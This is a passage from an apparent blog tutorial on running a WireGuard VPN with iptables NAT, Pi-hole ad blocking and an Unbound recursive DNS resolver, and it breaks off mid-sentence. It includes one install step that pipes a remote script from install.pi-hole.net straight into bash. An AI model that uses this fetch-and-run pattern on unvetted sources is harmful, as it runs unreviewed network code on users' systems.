<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>sudo wg-quick up wg0</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[#] ip link add wg0 type wireguard</span></span>
<span class="giallo-l"><span>[#] wg setconf wg0 /dev/fd/63</span></span>
<span class="giallo-l"><span>[#] ip -4 address add 10.200.200.1/24 dev wg0</span></span>
<span class="giallo-l"><span>[#] ip link set mtu 1420 up dev wg0</span></span></code></pre>
<p>You can verify a new network interface now by:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ ip addr | grep wg0</span></span>
<span class="giallo-l"><span>5: wg0: &lt;POINTOPOINT,NOARP,UP,LOWER_UP&gt; mtu 1420 qdisc noqueue state UNKNOWN group default qlen 1000</span></span>
<span class="giallo-l"><span>    inet 10.200.200.1/24 scope global wg0</span></span></code></pre>
<p>You can also view the wireguard connection status by:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ sudo wg show</span></span>
<span class="giallo-l"><span>interface: wg0</span></span>
<span class="giallo-l"><span>  public key: &lt;REDACTED&gt;</span></span>
<span class="giallo-l"><span>  private key: (hidden)</span></span>
<span class="giallo-l"><span>  listening port: 51820</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>peer: &lt;REDACTED&gt;</span></span>
<span class="giallo-l"><span>  allowed ips: 10.200.200.2/32</span></span></code></pre><h3 id="almost-there-but-not-quite">Almost There, But Not Quite<a class="zola-anchor" href="#almost-there-but-not-quite" aria-label="Anchor link for: almost-there-but-not-quite">#</a></h3>
<p>Turn on your wireguard client and you will notice a strange thing. At this point, you’re not able to browse the internet but you are able to connect to the wireguard server and even wireguard is acknowledging that (notice the last two lines in the following snippet):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ sudo wg show</span></span>
<span class="giallo-l"><span>interface: wg0</span></span>
<span class="giallo-l"><span>  public key: &lt;REDACTED&gt;</span></span>
<span class="giallo-l"><span>  private key: (hidden)</span></span>
<span class="giallo-l"><span>  listening port: 51820</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>peer: &lt;client_public_key&gt;</span></span>
<span class="giallo-l"><span>  endpoint: &lt;client_public_ip&gt;:64882</span></span>
<span class="giallo-l"><span>  allowed ips: 10.200.200.2/32</span></span>
<span class="giallo-l"><span>  *latest handshake: 8 seconds ago*</span></span>
<span class="giallo-l"><span>  *transfer: 754.60 KiB received, 5.59 MiB sent*</span></span></code></pre>
<p>Wireguard status shows that our client can reach the wireguard server. But still, we’re unable to browse the internet on our client.</p>
<p>To debug this further, let’s use <code>tcpdump</code> and monitor the packets coming in <code>wg0</code> interface. Since tcpdump’s output can be overwhelming and contains a lot of noise, let’s filter to monitor only the ICMP packets. So we’ll be using <code>ping</code> from a client which is the easiest way to send ICMP packets from point A to point B.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on wireguard client</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);">  ~</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span><span> $(</span><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#032F62, #96D0FF);"> icanhazip.com</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  %</span><span style="color: light-dark(#032F62, #96D0FF);"> Total</span><span style="color: light-dark(#032F62, #96D0FF);">    %</span><span style="color: light-dark(#032F62, #96D0FF);"> Received</span><span style="color: light-dark(#032F62, #96D0FF);"> %</span><span style="color: light-dark(#032F62, #96D0FF);"> Xferd</span><span style="color: light-dark(#032F62, #96D0FF);">  Average</span><span style="color: light-dark(#032F62, #96D0FF);"> Speed</span><span style="color: light-dark(#032F62, #96D0FF);">   Time</span><span style="color: light-dark(#032F62, #96D0FF);">    Time</span><span style="color: light-dark(#032F62, #96D0FF);">     Time</span><span style="color: light-dark(#032F62, #96D0FF);">  Current</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">                                 Dload</span><span style="color: light-dark(#032F62, #96D0FF);">  Upload</span><span style="color: light-dark(#032F62, #96D0FF);">   Total</span><span style="color: light-dark(#032F62, #96D0FF);">   Spent</span><span style="color: light-dark(#032F62, #96D0FF);">    Left</span><span style="color: light-dark(#032F62, #96D0FF);">  Speed</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">100</span><span style="color: light-dark(#005CC5, #6CB6FF);">    14</span><span style="color: light-dark(#005CC5, #6CB6FF);">  100</span><span style="color: light-dark(#005CC5, #6CB6FF);">    14</span><span style="color: light-dark(#005CC5, #6CB6FF);">    0</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0</span><span style="color: light-dark(#005CC5, #6CB6FF);">     16</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#005CC5, #6CB6FF);">    16</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PING</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span> (&lt;server_ip_redacted&gt;</span><span>): 56 data bytes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> bytes</span><span style="color: light-dark(#032F62, #96D0FF);"> from</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> icmp_seq=</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);"> ttl=</span><span style="color: light-dark(#005CC5, #6CB6FF);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> time=</span><span style="color: light-dark(#005CC5, #6CB6FF);">112.126</span><span style="color: light-dark(#032F62, #96D0FF);"> ms</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> bytes</span><span style="color: light-dark(#032F62, #96D0FF);"> from</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> icmp_seq=</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);"> ttl=</span><span style="color: light-dark(#005CC5, #6CB6FF);">64</span><span style="color: light-dark(#032F62, #96D0FF);"> time=</span><span style="color: light-dark(#005CC5, #6CB6FF);">142.980</span><span style="color: light-dark(#032F62, #96D0FF);"> ms</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">^C</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">---</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> ping</span><span style="color: light-dark(#032F62, #96D0FF);"> statistics</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">--</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">2</span><span style="color: light-dark(#032F62, #96D0FF);"> packets</span><span style="color: light-dark(#032F62, #96D0FF);"> transmitted,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2</span><span style="color: light-dark(#032F62, #96D0FF);"> packets</span><span style="color: light-dark(#032F62, #96D0FF);"> received,</span><span style="color: light-dark(#032F62, #96D0FF);"> 0.0%</span><span style="color: light-dark(#032F62, #96D0FF);"> packet</span><span style="color: light-dark(#032F62, #96D0FF);"> loss</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on wireguard server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tcpdump</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">nni</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">Q</span><span style="color: light-dark(#032F62, #96D0FF);"> in</span><span style="color: light-dark(#032F62, #96D0FF);"> icmp</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcpdump:</span><span style="color: light-dark(#032F62, #96D0FF);"> verbose</span><span style="color: light-dark(#032F62, #96D0FF);"> output</span><span style="color: light-dark(#032F62, #96D0FF);"> suppressed,</span><span style="color: light-dark(#032F62, #96D0FF);"> use</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> or</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">vv</span><span style="color: light-dark(#032F62, #96D0FF);"> for</span><span style="color: light-dark(#032F62, #96D0FF);"> full</span><span style="color: light-dark(#032F62, #96D0FF);"> protocol</span><span style="color: light-dark(#032F62, #96D0FF);"> decode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">listening</span><span style="color: light-dark(#032F62, #96D0FF);"> on</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0,</span><span style="color: light-dark(#032F62, #96D0FF);"> link-type</span><span style="color: light-dark(#032F62, #96D0FF);"> RAW</span><span> (Raw</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span>), capture size 262144 bytes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">14:26:31.991498</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.200.200.2</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> ICMP</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> request,</span><span style="color: light-dark(#032F62, #96D0FF);"> id</span><span style="color: light-dark(#032F62, #96D0FF);"> 52630,</span><span style="color: light-dark(#032F62, #96D0FF);"> seq</span><span style="color: light-dark(#032F62, #96D0FF);"> 0,</span><span style="color: light-dark(#032F62, #96D0FF);"> length</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">14:26:33.027288</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.200.200.2</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">server_ip_redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);"> ICMP</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> request,</span><span style="color: light-dark(#032F62, #96D0FF);"> id</span><span style="color: light-dark(#032F62, #96D0FF);"> 52630,</span><span style="color: light-dark(#032F62, #96D0FF);"> seq</span><span style="color: light-dark(#032F62, #96D0FF);"> 1,</span><span style="color: light-dark(#032F62, #96D0FF);"> length</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span></span></code></pre>
<p>Okay, this is getting interesting. wg0 is definitely receiving packets from our client. Arghhh. <em>Now</em> does it strike to you? Our actual network routing is through <code>eth0</code> (on DO usually) and <code>wg0</code> is just some interface created by Wireguard. They have no “connection” (no pun intended) between them. Let us confirm if this actually is the problem by detecting ICMP traffic on this interface(<code>eth0</code>) using the same command:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on wireguard server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tcpdump</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">nni</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">Q</span><span style="color: light-dark(#032F62, #96D0FF);"> in</span><span style="color: light-dark(#032F62, #96D0FF);"> icmp</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">tcpdump:</span><span style="color: light-dark(#032F62, #96D0FF);"> verbose</span><span style="color: light-dark(#032F62, #96D0FF);"> output</span><span style="color: light-dark(#032F62, #96D0FF);"> suppressed,</span><span style="color: light-dark(#032F62, #96D0FF);"> use</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> or</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">vv</span><span style="color: light-dark(#032F62, #96D0FF);"> for</span><span style="color: light-dark(#032F62, #96D0FF);"> full</span><span style="color: light-dark(#032F62, #96D0FF);"> protocol</span><span style="color: light-dark(#032F62, #96D0FF);"> decode</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">listening</span><span style="color: light-dark(#032F62, #96D0FF);"> on</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0,</span><span style="color: light-dark(#032F62, #96D0FF);"> link-type</span><span style="color: light-dark(#032F62, #96D0FF);"> RAW</span><span> (Raw</span><span style="color: light-dark(#032F62, #96D0FF);"> IP</span><span>), capture size 262144 bytes</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> nothing happens even if we are sending PING from client</span></span></code></pre>
<p>Wow, see? No ICMP packets received on <code>eth0</code>. So that indeed is the problem and we have zero’ed it down using <code>tcpdump</code>.
(Note to self: Learn more Linux debugging utils, these things are a godsend!)</p>
<p>In order to fix this, we need to do 2 things:</p>
<ul>
<li>IP Forwarding</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ vim /etc/sysctl.conf</span></span>
<span class="giallo-l"><span># check for this line and replace the value from 0 to 1</span></span>
<span class="giallo-l"><span>net.ipv4.ip_forward = 1</span></span>
<span class="giallo-l"><span>$ sudo sysctl -p</span></span></code></pre>
<ul>
<li>IP Tables Rules</li>
</ul>
<p>We need to set up NAT between <code>eth0</code>(could be different for you) and <code>wg0</code>. This can be done using <code>iptables</code> and wireguard actually has a nice mechanism to run custom commands using <code>PostUp</code>/<code>PostDown</code> signals.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on wireguard server</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> vim</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/wireguard/wg0.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> add these lines in [Interface] section</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PostUp</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);"> FORWARD</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> ACCEPT</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> nat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);"> POSTROUTING</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> MASQUERADE</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> ip6tables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);"> FORWARD</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> ACCEPT</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> ip6tables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> nat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#032F62, #96D0FF);"> POSTROUTING</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> MASQUERADE</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Configure iptables to setup a NAT on eth0 and forward the packets (ipv4 and ipv6) on interface wg0 to eth0</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PostDown</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);"> FORWARD</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> ACCEPT</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> iptables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> nat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);"> POSTROUTING</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> MASQUERADE</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> ip6tables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);"> FORWARD</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> wg0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> ACCEPT</span><span>;</span><span style="color: light-dark(#6F42C1, #F69D50);"> ip6tables</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);"> nat</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">D</span><span style="color: light-dark(#032F62, #96D0FF);"> POSTROUTING</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);"> eth0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">j</span><span style="color: light-dark(#032F62, #96D0FF);"> MASQUERADE</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Delete the rule since when wireguard is down, wg0 doesn&#39;t exist</span></span></code></pre>
<p>Now everything’s set up and we are browsing the internet privately using a VPN. <a rel="external" href="https://ipleak.net/">Ensure</a> that your public IP is of the VPN server when you’re browsing and it’s not leaking.</p>
<h3 id="setting-up-pi-hole">Setting up Pi-hole<a class="zola-anchor" href="#setting-up-pi-hole" aria-label="Anchor link for: setting-up-pi-hole">#</a></h3>
<p>Installing Pi-hole is as simple as</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">curl</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">sSL</span><span style="color: light-dark(#032F62, #96D0FF);"> https://install.pi-hole.net</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> bash</span></span></code></pre>
<p>You can read more about <a rel="external" href="https://docs.pi-hole.net/main/basic-install/">installation</a> in the official docs.</p>
<p>A nice GUI is always a plus, so make sure you enable that option while installing Pi-hole.</p>
<p><img src="https://mrkaran.dev/images/pihole-dashboard.png" alt="image" /></p>
<p>Now, we need to configure our Wireguard client to use Pi-hole as a nameserver for DNS resolution.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> on the client add the following line</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> vim</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/wireguard/wg0.conf</span></span>
<span class="giallo-l"><span>[</span><span>Interface</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">DNS</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">vpn_server_public_i</span><span>p</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p>Pi-hole runs on port 53 and accepts DNS queries over UDP. Any query is first checked by Pi-hole in the blacklist. If it’s present in the blacklist, it’s immediately dropped. If not, Pi-hole will forward our DNS query to one of the forwarder configured (1.1.1.1 for eg or our custom server, explained in the next step).</p>
<h3 id="setting-up-unbound-dns">Setting up Unbound DNS<a class="zola-anchor" href="#setting-up-unbound-dns" aria-label="Anchor link for: setting-up-unbound-dns">#</a></h3>
<p>I don’t mind trusting Cloudflare. But I simply don’t have to. :) And once you make peace with the fact that you don’t need 3rd party companies controlling your networking stack, you’ll sleep better.</p>
<p>I have setup Unbound without any forwarders. Unbound is a recursive resolver which supports DNSSec and caching mainly. Unbound first checks if the query exists in cache and if it does, it directly returns the “answer”. Otherwise it talks to the root nameserver and then the whole DNS dance happens. Since our DNS query is now split into multiple parts, where each nameserver is only being queried for a part of the FQDN (also known as QNAME minimialistion), it becomes a lot harder for anyone to intercept or reconstruct your DNS queries.</p>
<p>You can install unbound using</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ sudo apt-get install unbound</span></span></code></pre>
<p>To start using Unbound, we need a file <code>root.hints</code> which contains information about root nameservers. You can cron this to fetch a new copy every once in 3-4 months, it hardly changes.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> wget</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">O</span><span style="color: light-dark(#032F62, #96D0FF);"> root.hints</span><span style="color: light-dark(#032F62, #96D0FF);"> https://www.internic.net/domain/named.root</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> mv</span><span style="color: light-dark(#032F62, #96D0FF);"> root.hints</span><span style="color: light-dark(#032F62, #96D0FF);"> /var/lib/unbound/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> unbound</span><span style="color: light-dark(#032F62, #96D0FF);"> restart</span></span></code></pre>
<p>You can verify if the DNS queries are being resolved by:</p>
